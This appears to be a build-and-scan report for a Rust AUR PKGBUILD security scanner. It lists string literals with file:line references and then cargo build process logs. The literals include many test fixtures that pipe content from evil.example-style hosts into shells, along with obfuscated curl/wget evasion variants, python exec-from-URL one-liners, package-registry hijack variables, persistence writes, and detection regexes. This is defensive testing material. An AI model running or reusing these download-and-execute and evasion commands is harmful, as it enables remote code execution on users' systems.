https://evil.example/i)src/analyzer/remote_exec.rs:1016python3 -c "$(curl -s https://evil.example/i)"src/analyzer/remote_exec.rs:1017perl -e "$(curl -s https://evil.example/i)"src/analyzer/remote_exec.rs:1018node -e "$(curl -s https://evil.example/i)"src/analyzer/remote_exec.rs:1019ruby -e "$(wget -qO- https://evil.example/i)"src/analyzer/remote_exec.rs:1020curl -s https://evil.example/x | expectsrc/analyzer/remote_exec.rs:1035curl -s https://evil.example/x | guilesrc/analyzer/remote_exec.rs:1036curl -s https://evil.example/x | scalasrc/analyzer/remote_exec.rs:1037curl -s https://evil.example/x | clojuresrc/analyzer/remote_exec.rs:1038curl -s https://evil.example/x | racketsrc/analyzer/remote_exec.rs:1039curl -s https://evil.example/x | elixirsrc/analyzer/remote_exec.rs:1040curl -s https://evil.example/x | rakusrc/analyzer/remote_exec.rs:1041curl -s https://evil.example/x | crystalsrc/analyzer/remote_exec.rs:1042curl -s https://evil.example/x | bbsrc/analyzer/remote_exec.rs:1043curl -s https://evil.example/x | ts-nodesrc/analyzer/remote_exec.rs:1044curl -s https://evil.example/x | runhaskellsrc/analyzer/remote_exec.rs:1045curl -s https://evil.example/x | toybox shsrc/analyzer/remote_exec.rs:1046curl -s https://evil.example/x | Rsrc/analyzer/remote_exec.rs:1047php -r "$(curl -s https://evil.example/x)"src/analyzer/remote_exec.rs:1065perl -ne "$(curl -s https://evil.example/x)"src/analyzer/remote_exec.rs:1066ruby -ropen-uri -e "$(curl -s https://evil.example/x)"src/analyzer/remote_exec.rs:1067python3 -B -c "$(curl -s https://evil.example/x)"src/analyzer/remote_exec.rs:1068python3 <<< "$(curl -s https://evil.example/x)"src/analyzer/remote_exec.rs:1069curl -s https://x/x | Rfoosrc/analyzer/remote_exec.rs:1105curl -s https://x/x | bbtoolsrc/analyzer/remote_exec.rs:1105curl -fsSL https://example.com/x | /usr/bin/tee outsrc/analyzer/remote_exec.rs:1120curl -fsSL https://example.com/x | env grep foosrc/analyzer/remote_exec.rs:1121curl -fsSL https://example.com/x | busybox catsrc/analyzer/remote_exec.rs:1122post_install() {\u{a} cat <<EOF\u{a} To set up, run: curl -fsSL https://x.io/i.sh | sh\u{a}EOF\u{a}}src/analyzer/remote_exec.rs:1139"cu""rl" -fsSL https://evil.example/x.sh | shsrc/analyzer/remote_exec.rs:1155curl -O https://example.com/src.tar.gzsrc/analyzer/remote_exec.rs:1169git://src/analyzer/source.rs:93 src/parser/mod.rs:227git+http://src/analyzer/source.rs:93\u{a}pkgname=bash\u{a}pkgver=5.2\u{a}pkgrel=1\u{a}url="https://git.savannah.gnu.org/cgit/bash.git"\u{a}source=("git+https://git.savannah.gnu.org/git/bash.git#commit=abc1234")\u{a}sha256sums=('SKIP')…src/analyzer/source.rs:515\u{a}pkgname=openconnect-sso\u{a}pkgver=0.8.1\u{a}pkgrel=1\u{a}url="https://github.com/vlaci/openconnect-sso"\u{a}source=("git+https://github.com/PrestonHager/openconnect-sso.git")\u{a}sha256sums=('SK…src/analyzer/source.rs:537\u{a}pkgname=tool\u{a}pkgver=1.0\u{a}pkgrel=1\u{a}url="https://github.com/alice/tool"\u{a}source=("https://github.com/alice/tool/archive/v1.0.tar.gz")\u{a}sha256sums=('SKIP')\u{a}src/analyzer/source.rs:565\u{a}pkgname=test\u{a}pkgver=1.0\u{a}pkgrel=1\u{a}source=("http://example.com/file.tar.gz")\u{a}src/analyzer/source.rs:583\u{a}pkgname=xremap\u{a}pkgver=1.0\u{a}pkgrel=1\u{a}source=("LICENSE::https://raw.githubusercontent.com/xremap/xremap/v1.0/LICENSE")\u{a}sha256sums=('SKIP')\u{a}src/analyzer/source.rs:601\u{a}pkgname=evil\u{a}pkgver=1.0\u{a}pkgrel=1\u{a}source=("https://bit.ly/totally-legit")\u{a}sha256sums=('SKIP')\u{a}src/analyzer/source.rs:621https://t.co/abcsrc/analyzer/source.rs:638https://bit.ly/xsrc/analyzer/source.rs:639LICENSE::https://raw.githubusercontent.com/x/ysrc/analyzer/source.rs:641git+https://github.com/u/r.gitsrc/analyzer/source.rs:645pkgname=t\u{a}pkgver=1\u{a}pkgrel=1\u{a}source=("git+https://github.com/u/r.git#branch=main")\u{a}src/analyzer/source.rs:653pkgname=t\u{a}pkgver=1\u{a}pkgrel=1\u{a}source=("git+https://github.com/u/r.git#commit=deadbeefcafebabe")\u{a}src/analyzer/source.rs:663git+https://github.com/u/r.git#commit=deadbeefcafebabesrc/analyzer/source.rs:708git+https://git.sr.ht/~u/rsrc/analyzer/source.rs:709git+https://github.com.evil.tld/u/r.gitsrc/analyzer/source.rs:714git+https://github.com@evil.tld/u/r.gitsrc/analyzer/source.rs:715git+https://github.com\@evil.tld/u/r.gitsrc/analyzer/source.rs:716git+https://evil.example/u/r.gitsrc/analyzer/source.rs:717\u{a}pkgname=test\u{a}pkgver=1.0\u{a}pkgrel=1\u{a}source=("https://example.com/app.tar.gz"\u{a} "git+https://github.com/x/y.git"\u{a} "local.patch")\u{a}sha256sums=('aaaaaaaaaaaaaaaaaaaa…src/analyzer/threat_intel.rs:381https://example.com/app.tar.gzsrc/analyzer/threat_intel.rs:401pkgname=t\u{a}pkgver=1\u{a}pkgrel=1\u{a}source=('https://e.example/real.tgz' 'https://e.example/d1' 'https://e.example/d2')\u{a}sha256sums=('{z}' '{a}' '{b}')\u{a}src/analyzer/threat_intel.rs:485pkgname=t\u{a}pkgver=1\u{a}pkgrel=1\u{a}source=('https://bob:hunter2@host.example/x.tgz?t=1#frag')\u{a}sha256sums=('SKIP')\u{a}src/analyzer/threat_intel.rs:495https://host.example/x.tgz?t=1src/analyzer/threat_intel.rs:499https://aur.archlinux.org/rpc/v5src/aur.rs:17https://aur.archlinux.orgsrc/aur.rs:23http://proxy:3128src/aur.rs:862 src/aur.rs:882https://aur.archlinux.org/x.gitsrc/aur.rs:887 src/aur.rs:895A source uses an insecure transport (http://, ftp://, git://, git+http://), tamperable in transit.src/catalog/mod.rs:202pkgname=tool\u{a}pkgver=1.0\u{a}pkgrel=1\u{a}source=("https://github.com/alice/tool/archive/v1.0.tar.gz")\u{a}src/history.rs:982 src/history.rs:1018pkgname=tool\u{a}pkgver=1.1\u{a}pkgrel=1\u{a}source=("https://github.com/alice/tool/archive/v1.1.tar.gz"\u{a} "0001-fix-build.patch"\u{a} "tool.service")\u{a}src/history.rs:985pkgname=tool\u{a}pkgver=1.1\u{a}pkgrel=1\u{a}source=("https://github.com/alice/tool/archive/v1.1.tar.gz"\u{a} "https://cdn.evil.example/payload.bin")\u{a}src/history.rs:1021post_install() { curl -s https://evil.example/x.sh | bash; }\u{a}src/lib.rs:475install=demo.install\u{a}source=('https://example.com/a.tar.gz')src/lib.rs:788(?ix)\u{a} (?: [a-z][a-z0-9+.\-]* :// )? # optional scheme://\u{a} (?: [^\s/@'\x22]+ @ )? # optional userinfo@\u{a} ( [a-z0-9] (?:[a-z0-9\-]*[a-z0-9])? …src/neturl.rs:31[://]src/neturl.rs:54https://{}src/neturl.rs:129https://github.com/u/rsrc/neturl.rs:286git+https://github.com/u/r.git#commit=abcsrc/neturl.rs:290git://git.sr.ht/~u/rsrc/neturl.rs:294https://github.com@evil.tld/xsrc/neturl.rs:299https://evil.example:8443/xsrc/neturl.rs:309hxxps://evil[.]examplesrc/neturl.rs:327https://evil.examplesrc/neturl.rs:327hxxp://evil[.]example/xsrc/neturl.rs:330git+https://github.com\@evil.tld/r.gitsrc/neturl.rs:341https://github.com\.evil.tld/xsrc/neturl.rs:344https://github.com/u\rsrc/neturl.rs:347https://github.com/u/evil.examplesrc/neturl.rs:355 src/neturl.rs:358https://evil.example/u/github.comsrc/neturl.rs:363curl https://c2.evil.example/beaconsrc/neturl.rs:371wget hxxps://evil[.]example/xsrc/neturl.rs:375 src/threat_intel/ioc.rs:356git clone https://github.com/evil.example-mirrorsrc/neturl.rs:380source=(https://a.example/x git+https://b.example/y.git)src/neturl.rs:391https://github.com/KiefStudioMA/ks-aur-scanner.gitsrc/neturl.rs:404git+https://github.com/KiefStudioMA/ks-aur-scanner.git#tag=v2.1.0src/neturl.rs:408git+https://github.com/foo/bar.git#tag=v1.0src/neturl.rs:418git+https://github.com/foo/bar.git#tag=v2.0src/neturl.rs:419https://github.com/foo/bar/archive/v1.0.tar.gzsrc/neturl.rs:421https://github.com/foo/bar/archive/v2.0.tar.gzsrc/neturl.rs:422https://downloads.example.com/v1.2.3/tool-linux-x64.tar.gzsrc/neturl.rs:433https://downloads.example.com/v1.2.4/tool-linux-x64.tar.gzsrc/neturl.rs:434https://example.com/tool-1.0.tar.gzsrc/neturl.rs:438https://example.com/tool-1.1.tar.gzsrc/neturl.rs:439https://downloads.sourceforge.net/project/foo/1.2/foo-1.2.tar.gzsrc/neturl.rs:443https://downloads.sourceforge.net/project/foo/1.3/foo-1.3.tar.gzsrc/neturl.rs:444https://ftp.gnu.org/gnu/bash/bash-5.1.tar.gzsrc/neturl.rs:448https://ftp.gnu.org/gnu/bash/bash-5.2.tar.gzsrc/neturl.rs:449https://github.com/alice/tool/archive/v1.0.tar.gzsrc/neturl.rs:466https://gitlab.com/alice/tool/-/archive/1.0/tool-1.0.tar.gzsrc/neturl.rs:470https://github.com/vlaci/openconnect-ssosrc/neturl.rs:479https://github.com/PrestonHager/openconnect-ssosrc/neturl.rs:480https://github.com/foo/barsrc/neturl.rs:487https://cdn.evil.example/foo/barsrc/neturl.rs:488https://example.comsrc/neturl.rs:495 src/parser/mod.rs:452 src/parser/static_parser.rs:627https://example.com/src/neturl.rs:499svn://src/parser/mod.rs:230hg://src/parser/mod.rs:233bzr://src/parser/mod.rs:236https://src/parser/mod.rs:241http://src/parser/mod.rs:243ftps://src/parser/mod.rs:245ftp://src/parser/mod.rs:247file://src/parser/mod.rs:249https://example.com/file.tar.gzsrc/parser/mod.rs:441myfile.tar.gz::https://example.com/file.tar.gzsrc/parser/mod.rs:445http://example.comsrc/parser/mod.rs:453git+https://github.com/reposrc/parser/mod.rs:455\u{a}# Maintainer: Example <example@example.com>\u{a}pkgname=example-package\u{a}pkgver=1.0.0\u{a}pkgrel=1\u{a}pkgdesc="An example package"\u{a}arch=('x86_64' 'aarch64')\u{a}url="https://example.com"…src/parser/static_parser.rs:589source=("https://example.com/a.tar.gz") # primary\u{a}src/parser/static_parser.rs:655source+=("git+https://github.com/u/r.git#commit=deadbeef")\u{a}src/parser/static_parser.rs:656https://example.com/a.tar.gzsrc/parser/static_parser.rs:664pkgname=t\u{a}pkgver=1\u{a}pkgrel=1\u{a}\u{a}build() {\u{a} echo "}"\u{a} curl https://evil/x | sh\u{a}}\u{a}src/parser/static_parser.rs:717curl https://evil/x | shsrc/parser/static_parser.rs:725source=("https://legit/a.tar.gz)\u{a}src/parser/static_parser.rs:747x" "https://evil/backdoor.sh")\u{a}src/parser/static_parser.rs:748"git+https://h/r.git#branch=v1)\u{a}src/parser/static_parser.rs:771"https://evil/backdoor.sh")\u{a}src/parser/static_parser.rs:773 src/parser/static_parser.rs:857source=("https://example.com/file-(1).tar.gz"\u{a}src/parser/static_parser.rs:797"https://example.com/second.tar.gz")\u{a}src/parser/static_parser.rs:798source=('http://legit.example/a.tar.gz\u{a}src/parser/static_parser.rs:816http://legit.example/a.tar.gzsrc/parser/static_parser.rs:833source=(#"https://example.com/old.tar.bz2"\u{a}src/parser/static_parser.rs:900"https://example.com/new.tar.bz2")\u{a}src/parser/static_parser.rs:901https://example.com/new.tar.bz2src/parser/static_parser.rs:908pkgname=t\u{a}pkgver=1\u{a}pkgrel=1\u{a}source=('http://legit.example/x.tar.gz\u{a}src/parser/static_parser.rs:920http://legit.example/x.tar.gzsrc/parser/static_parser.rs:929pkgname=t\u{a}pkgver=1\u{a}pkgrel=1\u{a}source=(http://legit/a \\u{a}" #) x" http://evil/x)\u{a}src/parser/static_parser.rs:943http://evil/xsrc/parser/static_parser.rs:947 src/parser/static_parser.rs:965 src/parser/static_parser.rs:990http://legit/asrc/parser/static_parser.rs:951 src/parser/static_parser.rs:969pkgname=t\u{a}pkgver=1\u{a}pkgrel=1\u{a}source=(http://legit/a \\u{a}' #) x' http://evil/x)\u{a}src/parser/static_parser.rs:961pkgname=t\u{a}pkgver=1\u{a}pkgrel=1\u{a}source=("http://legit/a\u{a}#http://evil/x\u{a}")\u{a}src/parser/static_parser.rs:982\u{a}pkgname=test\u{a}pkgver=1.0\u{a}pkgrel=1\u{a}source=(\u{a} "https://example.com/file1.tar.gz"\u{a} "https://example.com/file2.tar.gz"\u{a})\u{a}src/parser/static_parser.rs:1017x=curl\u{a}$x https://evil/p | shsrc/resolve.rs:751curl https://evil/p | shsrc/resolve.rs:752c=wget\u{a}${c} https://evil/p -O- | bashsrc/resolve.rs:757wget https://evil/p -O- | bashsrc/resolve.rs:758c=$(printf '\x63url')\n$c https://evil | shsrc/resolve.rs:765curl https://evil | shsrc/resolve.rs:769 src/resolve.rs:776 src/resolve.rs:783 src/resolve.rs:789 src/resolve.rs:875 src/resolve.rs:888 src/resolve.rs:890 src/resolve.rs:896 src/resolve.rs:898 src/resolve.rs:912 src/resolve.rs:920 src/resolve.rs:941 src/resolve.rs:943 src/resolve.rs:945 src/resolve.rs:947c="cu""rl"\u{a}$c https://evil | shsrc/resolve.rs:775a=curl\u{a}b=a\u{a}${!b} https://evil | shsrc/resolve.rs:782a=cur\u{a}b=${a}l\u{a}$b https://evil | shsrc/resolve.rs:788p="curl https://evil | sh"\u{a}eval $psrc/resolve.rs:794eval curl https://evil | shsrc/resolve.rs:795$undefined https://x | shsrc/resolve.rs:823a=curl\u{a}a=$(date)\u{a}$a https://evil | shsrc/resolve.rs:841curl https://evilsrc/resolve.rs:844x=curl\u{a}$x https://evil | sh\u{a}makesrc/resolve.rs:851build() {\u{a} x=curl\u{a}}\u{a}package() {\u{a} $x https://evil | sh\u{a}}src/resolve.rs:864$x https://evilsrc/resolve.rs:867export x=curl\u{a}$x https://evil | shsrc/resolve.rs:874c=curl; s=sh; $c https://evil | $ssrc/resolve.rs:887a=cur && b=${a}l && $b https://evil | shsrc/resolve.rs:889f() {\u{a} local c=curl s=sh\u{a} $c https://evil | $s\u{a}}src/resolve.rs:895declare -x c=curl s=sh\u{a}$c https://evil | $ssrc/resolve.rs:897_c=curl\u{a}build() {\u{a} l=sh\u{a} $_c https://evil | $l\u{a}}\u{a}package() {\u{a} $_c https://evil | $l\u{a}}src/resolve.rs:910curl https://evil | $lsrc/resolve.rs:913package() {\u{a} $_c https://evil | sh\u{a}}\u{a}_c=curlsrc/resolve.rs:919cmd=(curl -s https://evil); "${cmd[@]}" | shsrc/resolve.rs:925curl -s https://evil | shsrc/resolve.rs:926curl${IFS}-s${IFS}https://evil|shsrc/resolve.rs:931curl -s https://evil|shsrc/resolve.rs:932 src/resolve.rs:934curl$IFS$9-s https://evil|shsrc/resolve.rs:933printf '\x63\x75\x72\x6c https://evil' | shsrc/resolve.rs:946dl() { curl -s https://evil -o /tmp/x; }\u{a}build() {\u{a} dl\u{a}}\u{a}unrelated() {\u{a} wget https://x\u{a}}src/resolve.rs:966curl -s https://evilsrc/resolve.rs:968https?://(pastebin\.com|paste\.ee|ptpb\.pw|ix\.io|dpaste|hastebin\.com|privatebin|ghostbin\.co|rentry\.co)/src/rules/mod.rs:836stratum\+tcp://src/rules/mod.rs:1404https?://\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}src/rules/mod.rs:1665://\[[0-9a-fA-F:]+\]src/rules/mod.rs:2487://0x[0-9a-fA-F]+(?:[:/]|$)src/rules/mod.rs:2490://\d{8,10}(?:[:/]|$)src/rules/mod.rs:2491curl https://malicious.com/script.sh | bashsrc/rules/mod.rs:2645curl -s https://evil.example/c > /etc/cron.d/pkgsrc/rules/mod.rs:2738build() {\u{a} x=curl\u{a} $x https://evil.example/p.sh | bash\u{a}}src/rules/mod.rs:2859build() {\u{a} dl=wget\u{a} $dl -qO- https://evil.example/p | sh\u{a}}src/rules/mod.rs:2860build() {\u{a} c=$(printf '\x63url')\u{a} $c https://evil.example/x | bash\u{a}}src/rules/mod.rs:2876build() {\u{a} msg="see https://example.com/docs"\u{a} echo "$msg"\u{a}}src/rules/mod.rs:2889printf 'hi'; echo "$(curl https://evil/x)" > ~/.profilesrc/rules/mod.rs:2924build() {\u{a} curl https://evil/x.sh \\u{a} | bash\u{a}}src/rules/mod.rs:2940CURL https://evil/x | BASHsrc/rules/mod.rs:2987deno run https://evil/x.tssrc/rules/mod.rs:3035curl -fsSL https://evil/x | dashsrc/rules/mod.rs:3144curl -fsSL https://evil/x | ashsrc/rules/mod.rs:3157curl -fsSL https://evil/x | mkshsrc/rules/mod.rs:3158 src/rules/mod.rs:3213wget -qO- https://evil/x | ashsrc/rules/mod.rs:3159curl -fsSL https://evil/x | /bin/shsrc/rules/mod.rs:3202curl -fsSL https://evil/x | /usr/bin/bashsrc/rules/mod.rs:3203curl -fsSL https://evil/x | busybox shsrc/rules/mod.rs:3204curl -fsSL https://evil/x | busybox ashsrc/rules/mod.rs:3205curl -fsSL https://evil/x | env shsrc/rules/mod.rs:3206curl -fsSL https://evil/x | /usr/bin/env shsrc/rules/mod.rs:3207curl -fsSL https://evil/x | env -i shsrc/rules/mod.rs:3208curl -fsSL https://evil/x | env FOO=bar shsrc/rules/mod.rs:3209curl -fsSL https://evil/x | command busybox shsrc/rules/mod.rs:3210curl -fsSL https://evil/x | nice dashsrc/rules/mod.rs:3211curl -fsSL https://evil/x | yashsrc/rules/mod.rs:3214curl -fsSL https://evil/x | xonshsrc/rules/mod.rs:3215curl -fsSL https://evil/x | nusrc/rules/mod.rs:3216curl -fsSL https://evil/x | oilsrc/rules/mod.rs:3217wget -qO- https://evil/x | /bin/shsrc/rules/mod.rs:3226curl https://e/x | make -f -src/rules/mod.rs:3270curl -fsSL https://x | /usr/bin/tee out.txtsrc/rules/mod.rs:3300curl -fsSL https://x | env grep foosrc/rules/mod.rs:3301curl -fsSL https://x | nice makesrc/rules/mod.rs:3302curl -fsSL https://x | command lssrc/rules/mod.rs:3303curl -fsSL https://x | /bin/numbersrc/rules/mod.rs:3304curl -fsSL https://x | busybox catsrc/rules/mod.rs:3305curl -fsSL https://x | awkward-toolsrc/rules/mod.rs:3306PIP_INDEX_URL=https://evil/idx pip install xsrc/rules/mod.rs:3362GOPROXY=https://evil go buildsrc/rules/mod.rs:3365pip install --index-url https://evil/idx xsrc/rules/mod.rs:3367npm_config_registry=https://evil npm isrc/rules/mod.rs:3372NPM_CONFIG_REGISTRY=https://evil npm isrc/rules/mod.rs:3376post_install() {\u{a} warning curl -s https://evil.example/x\u{a}}\u{a}src/rules/shadow.rs:490curl -s https://evil.example/x | shsrc/rules/shadow.rs:492OPAQUE: runs code from https://evil.example/x.shsrc/sbom.rs:612"cu""rl" -fsSL https://evil/x | shsrc/textutil.rs:601curl -fsSL https://evil/x | shsrc/textutil.rs:602c\url -fsSL https://evil/x | b\ashsrc/textutil.rs:611curl -fsSL https://evil/x | bashsrc/textutil.rs:612curl -fsSL https://evil/x \\u{a} | bashsrc/textutil.rs:753https://example.com/\u{1b}[31mFAKE-CLEAN\u{1b}[0m/x.tar.gzsrc/textutil.rs:811source: https://github.com/alice/tool/archive/v1.0.tar.gzsrc/textutil.rs:831curl https://evil.example/beaconsrc/threat_intel/ioc.rs:354source=(https://github.com/u/evil.example-mirror)src/threat_intel/ioc.rs:361curl https://notevil.example/xsrc/threat_intel/ioc.rs:363git clone https://evil.example.attacker.net/xsrc/threat_intel/ioc.rs:364https://www.virustotal.com/api/v3src/threat_intel/remote.rs:42https://urlhaus-api.abuse.ch/v1src/threat_intel/remote.rs:43https://user:s3cret@host.example/a/b.tgz?x=1&y=2#sha=1src/threat_intel/remote.rs:305https://host.example/a/b.tgz?x=1&y=2src/threat_intel/remote.rs:306https://tok@host.examplesrc/threat_intel/remote.rs:309https://host.examplesrc/threat_intel/remote.rs:310https://host.example/a@b?e=x@ysrc/threat_intel/remote.rs:314 src/threat_intel/remote.rs:315https://evil.example\@good.example/xsrc/threat_intel/remote.rs:319 src/threat_intel/remote.rs:320https://a.example/f.tgzsrc/threat_intel/remote.rs:323 src/threat_intel/remote.rs:324
info url_literal test 46
package() {\u{a} c=curl; s=sh\u{a} $c -s http://e.example/x | $s\u{a}}tests/detection_hardening.rs:49_c=curl\u{a}package() {\u{a} $_c -s http://e.example/x | sh\u{a}}tests/detection_hardening.rs:61package() {\u{a} $_c -s http://e.example/x | sh\u{a}}\u{a}_c=curltests/detection_hardening.rs:73build() {\u{a} c=curl\u{a} true\u{a}}\u{a}package() {\u{a} $c -s http://e.example/x | sh\u{a}}tests/detection_hardening.rs:83package() {\u{a} local c=curl s=sh\u{a} $c -s http://e.example/x | $s\u{a}}tests/detection_hardening.rs:94package() {\u{a} c=curl\u{a} $c -s http://e.example/x | sh\u{a}}tests/detection_hardening.rs:105curl -s http://e.example/x | rev | shtests/detection_hardening.rs:131curl -s http://e.example/x | tr a-z n-za-m | bashtests/detection_hardening.rs:132wget -qO- http://e.example/x | sed s/a/b/ | rev | shtests/detection_hardening.rs:133package() {\u{a} curl -s http://e.example/x | rev | tee out\u{a} curl -s http://e.example/y || sh -c 'echo failed'\u{a}}tests/detection_hardening.rs:144python3 -c "import urllib.request;exec(urllib.request.urlopen('http://e.example/x').read())"tests/detection_hardening.rs:157python -c "from urllib.request import urlopen; exec(urlopen('http://e.example/x').read())"tests/detection_hardening.rs:158package() {\u{a} git clone http://e.example/r.git r && ./r/install.sh\u{a}}tests/detection_hardening.rs:180package() {\u{a} git clone http://e.example/r.git r\u{a} sh r/install.sh\u{a}}tests/detection_hardening.rs:181package() {\u{a} git clone http://e.example/r.git\u{a} cd r\u{a} ./install.sh\u{a}}tests/detection_hardening.rs:182run() { "$@"; }\u{a}package() {\u{a} git clone http://e.example/r.git r\u{a} run ./r/install.sh\u{a}}tests/detection_hardening.rs:183package() {\u{a} git clone http://e.example/r.git r\u{a} cd r\u{a} make\u{a} install -Dm755 r/bin/tool "$pkgdir/usr/bin/tool"\u{a} cp -r r/docs "$pkgdir/usr/share/doc"\u{a}}tests/detection_hardening.rs:193package() {\u{a} curl -o f http://e.example/x\u{a} sh f\u{a}}tests/detection_hardening.rs:205package() {\u{a} curl -o ~/.x http://e.example/x; bash ~/.x\u{a}}tests/detection_hardening.rs:206 tests/detection_hardening.rs:223package() {\u{a} f=/tmp/f\u{a} curl -o $f http://e.example/x\u{a} bash $f\u{a}}tests/detection_hardening.rs:207package() {\u{a} wget -O f http://e.example/x\u{a} chmod +x f\u{a} ./f\u{a}}tests/detection_hardening.rs:208package() {\u{a} curl -o t http://e.example/x\u{a} ldd ./t\u{a}}tests/detection_hardening.rs:211package() {\u{a} curl -fsSLo f http://e.example/x && . ./f\u{a}}tests/detection_hardening.rs:212package() {\u{a} curl -O http://e.example/x.sh\u{a} bash x.sh\u{a}}tests/detection_hardening.rs:213package() {\u{a} curl -o data.tar.gz http://e.example/x.tar.gz\u{a} tar xf data.tar.gz\u{a} chmod +x helper.sh\u{a} sh helper.sh\u{a} wget -o wget.log -O out.bin http://e.example/y\u{a} cat out.…tests/detection_hardening.rs:233f() { curl -s http://e.example/x | sh; }\u{a}package() {\u{a} f\u{a}}tests/detection_hardening.rs:246helper() { echo hi; }\u{a}dl() { curl -s http://e.example/x -o /tmp/y; }\u{a}package() {\u{a} helper\u{a}}tests/detection_hardening.rs:261package() {\u{a} cmd=(curl -s http://e.example/x); "${cmd[@]}" | sh\u{a}}tests/detection_hardening.rs:276package() {\u{a} bash <<EOF\u{a}$(curl -s http://e.example/x)\u{a}EOF\u{a}}tests/detection_hardening.rs:289package() {\u{a} cat <<EOF > "$pkgdir/usr/share/doc/t/README"\u{a}Run: $(curl -s http://e.example/x) to see\u{a}EOF\u{a} bash <<< word\u{a} make\u{a}}tests/detection_hardening.rs:299curl${IFS}-s${IFS}http://e.example/x|shtests/detection_hardening.rs:311curl$IFS-s$IFS'http://e.example/x'|bashtests/detection_hardening.rs:312wget${IFS}-qO-${IFS}http://e.example/x|shtests/detection_hardening.rs:313curl -o ~/.x http://e.example/xtests/detection_hardening.rs:503warning() {\u{a} "$@" | sh\u{a}}\u{a}post_install() {\u{a} warning curl -s https://evil.example/x\u{a}}\u{a}tests/package_scan_hardening.rs:51plain() { "$@" | sh; }\u{a}prepare() { plain wget -qO- https://evil.example/x; }\u{a}tests/package_scan_hardening.rs:64note() { sh -c "$1"; }\u{a}package() {\u{a} note "curl -s https://evil.example/x | sh"\u{a}}\u{a}tests/package_scan_hardening.rs:72msg2() { eval "$1"; }\u{a}package() {\u{a} msg2 "curl -s https://evil.example/x | sh"\u{a}}\u{a}tests/package_scan_hardening.rs:81msg() { eval "$@"; }\u{a}post_install() {\u{a} msg 'curl -s https://evil.example/x | sh'\u{a}}\u{a}tests/package_scan_hardening.rs:96post_install() {\u{a} warning curl -s https://evil.example/x\u{a}}\u{a}tests/package_scan_hardening.rs:109package() {\u{a} note "curl -s https://example.org/x | sh is what upstream suggests"\u{a}}\u{a}tests/package_scan_hardening.rs:121msg() { echo "==> $1" >&2; }\u{a}package() {\u{a} msg "curl -s https://example.org/x | sh is what upstream suggests"\u{a}}\u{a}tests/package_scan_hardening.rs:131curl -s https://evil.example/x | sh\u{a}tests/package_scan_hardening.rs:147 tests/package_scan_hardening.rs:157 tests/package_scan_hardening.rs:174
info unsafe_code library 1
1 unsafe blocks, functions or implssrc/history.rs:138
Run: full
succeededThe full build covers everything the earlier cargo check run did, so only the full run is shown.
- Ended
- agent reported the end
- Guest
- exit code 0
- Run time
- 1 min 0 s
- VM restore
- 73 ms
- Payload
- 10251 files, 119.3 MiB
- Files opened
- 14412
Processes 202
Siblings that ran the same program with the same result and the same processes below are folded into one row, with their number.
| Process | Arguments | Start | Took | Exit |
|---|---|---|---|---|
| cargo /usr/local/bin/cargo | build --locked --offline | 4 ms | 1 min 0 s | 0 |
| └rustc /usr/local/bin/rustc ×126 | --crate-name libc --edition=2021 /cw/vendor/libc-0.2.189/src/lib.rs --error-format=json --json=diagnostic-rendered-ansi,artifacts,future-incompat --crate-type lib --emit=dep-info,metadata,link -C embed-bitcode=no -C debuginfo=2 --allow=unused_qualifications --warn=clippy::unnecessary_semicolon --allow=clippy::unnecessary_cast --warn=clippy::ptr_as_ptr --allow=clippy::non_minimal_cfg --allow=clippy::missing_safety_doc --warn=clippy::map_unwrap_or --warn=clippy::manual_assert --allow=clippy::identity_op --warn=clippy::explicit_iter_loop --cfg feature="default" --cfg feature="std" --check-cfg cfg(docsrs,test) --check-cfg cfg(feature, values("align", "const-extern-fn", "default", "extra_traits", "rustc-dep-of-std", "rustc-std-workspace-core", "std", "use_std")) | 338 ms | 1.1 s | 0 |
| └rustc /usr/local/bin/rustc ×6 | --crate-name build_script_main --edition=2021 /cw/vendor/openssl-sys-0.9.117/build/main.rs --error-format=json --json=diagnostic-rendered-ansi,artifacts,future-incompat --crate-type bin --emit=dep-info,link -C embed-bitcode=no --check-cfg cfg(docsrs,test) --check-cfg cfg(feature, values("aws-lc", "aws-lc-fips", "bindgen", "bssl-sys", "openssl-src", "unstable_boringssl", "vendored")) -C metadata=382f0c39eef1cf14 -C extra-filename=-9db41c071c247f6c --out-dir /work/target/debug/build/openssl-sys-9db41c071c247f6c -L dependency=/work/target/debug/deps --extern cc=/work/target/debug/deps/libcc-d2f014ceb86c8cd0.rlib --extern pkg_config=/work/target/debug/deps/libpkg_config-df4e365301e68a72.rlib --extern vcpkg=/work/target/debug/deps/libvcpkg-8e4474c5871a9cef.rlib --cap-lints allow | 3.8 s | 354 ms | 0 |
| └toolchain /usr/bin/cc | -m64 /work/target/debug/build/openssl-sys-9db41c071c247f6c/rustcQUbOqi/symbols.o /work/target/debug/build/openssl-sys-9db41c071c247f6c/build_script_main-9db41c071c247f6c.build_script_main.6032cb28ac8b50ca-cgu.0.rcgu.o /work/target/debug/build/openssl-sys-9db41c071c247f6c/build_script_main-9db41c071c247f6c.build_script_main.6032cb28ac8b50ca-cgu.1.rcgu.o /work/target/debug/build/openssl-sys-9db41c071c247f6c/build_script_main-9db41c071c247f6c.crh3byju91qwlu8z7x0s7rapk.rcgu.o -Wl,--as-needed -Wl,-Bstatic /work/target/debug/deps/libvcpkg-8e4474c5871a9cef.rlib /work/target/debug/deps/libpkg_config-df4e365301e68a72.rlib /work/target/debug/deps/libcc-d2f014ceb86c8cd0.rlib /work/target/debug/deps/libfind_msvc_tools-47d85dec6b12ba9f.rlib /work/target/debug/deps/libshlex-69c11c7589f0c135.rlib /usr/local/lib/rustlib/x86_64-unknown-linux-gnu/lib/libstd-64f5f36fb0927694.rlib /usr/local/lib/rustlib/x86_64-unknown-linux-gnu/lib/libpanic_unwind-549498e8b2e4d924.rlib /usr/local/lib/rustlib/x86_64-unknown-linux-gnu/lib/libo | 4.0 s | 160 ms | 0 |
